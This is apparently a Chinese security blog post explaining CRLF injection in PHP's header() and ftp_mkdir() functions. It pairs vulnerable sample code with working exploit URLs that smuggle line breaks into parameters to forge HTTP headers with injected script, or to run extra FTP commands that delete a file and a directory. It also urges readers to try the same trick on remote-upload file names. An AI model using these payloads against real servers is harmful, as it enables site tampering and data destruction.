php中的协议注射

BY 剑心

PHP本身很早就提供了对网络的支持,支持包括HTTP,FTP,MAIL在内的种种网络协议,其本身也提供了一大批能直接操作HTTP与FTP的函数,操作http的如header,操作ftp的如ftp_mkdir等等一些函数。但是由于php在控制这些函数的参数时存在漏洞,可能导致一些意外的事情发生。
大家知道'在SQL语句中可能截断前面的SQL语句,从而可能被人恶意控制整个整个语句,在http和ftp等协议中,一样存在这样的字符可能被人注入自己的命令。大家知道在HTTP中,一个HTTP头是rn分割的,而Header函数允许程序在具体的内容发送向用户前发送一个原始的http头,如果我们在参数里送入一个回车会怎么样呢?

Example:

<?
$charset=$_GET[$charset];
header('Content-Type: text/html; charset='.$charset);
.....
.....
?>


如果我们向$charset里注射rn也相当于注射了HTTP中的元字符,结果会怎么样呢?

Exp: <a href=\'http://www.loveshell.net/test.php?charset=GBK%0D%0A%0D%0A<script>alert</a>()</script>

这样就可以看到效果,我们是可以伪造输出的任何内容了,并且可以覆盖以前提交的HEADER头内容 :),但是从5.1.2版本开始,php已经意识到了这个问题,对于上面同样的操作,在高版本的PHP里PHP会阻止我们的第二个HTTP头,并且报告一个waring级别的错误,我们就只能看看路径了 :(

那么对于FTP呢?在FTP中一条命令的结束也是以rn(可能表述并不准确,r一样可以造成同样的问题)结束的,如果我们能在参数里注入这样的命令分隔符会怎么样呢?


Example:

<?php
$ftp_server='<a href=\'http://www.loveshell.net';\' target=\'_blank\'>www.loveshell.net';</a>
$ftp_user_name='loveshell';
$ftp_user_pass='loveshell';
$command = $_GET['dir'];

$conn_id = ftp_connect($ftp_server);
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
if($command) ftp_mkdir($conn_id, $command);
.......

Exp: <a href=\'http://www.loveshell.net/test.php?dir=loveshell%0D%0AMKD\' target=\'_blank\'>http://www.loveshell.net/test.php?dir=loveshell%0D%0AMKD</a> jnc%0D%0ADELE jnc.txt%0D%0Armd test


最终的结果是loveshell目录被成功建立,顺便还建立了jnc目录,jnc.txt被删除,test目录被删除,我们注入的命令成功执行了!抓包看看结果吧,原来ftp_mkdir函数直接把我们提交的内容放到了MKD参数后面变成了:

MKD loveshell
MKD jnc
DELE jnc.txt
rmd test

然后ftp服务器处理这些命令,很明显,这些发送的内容最终被ftp解析成客户端的内容从而被执行了!最近很多的bbs和脚本程序都开始提供远程上传的功能,其本质都是利用ftp来将附件传到远程的服务器上,嘿嘿,如果我们能往文件名里注射我们的回车,结果会怎么样呢?貌似到现在,PHP都没有意识并且处理这个问题。
其他的函数如mail都应该有这样的问题,但是我没有测试。看来,在SQL注射被普遍利用并且重视的今天,寻找些其他方面的注射还是很有意思的哦!

关键词: 脚本渗透

上一篇: 无语…
下一篇: [发布]中国被黑站点提交系统客户端 V1.2

相关文章
访客评论
#1
回复 kiki 2007-01-08, 20:45:02
《Grep与web漏洞挖掘》
#2
回复 kiki 2007-01-08, 20:45:44
所有的输入都是有害的
发表评论

评论内容 (必填):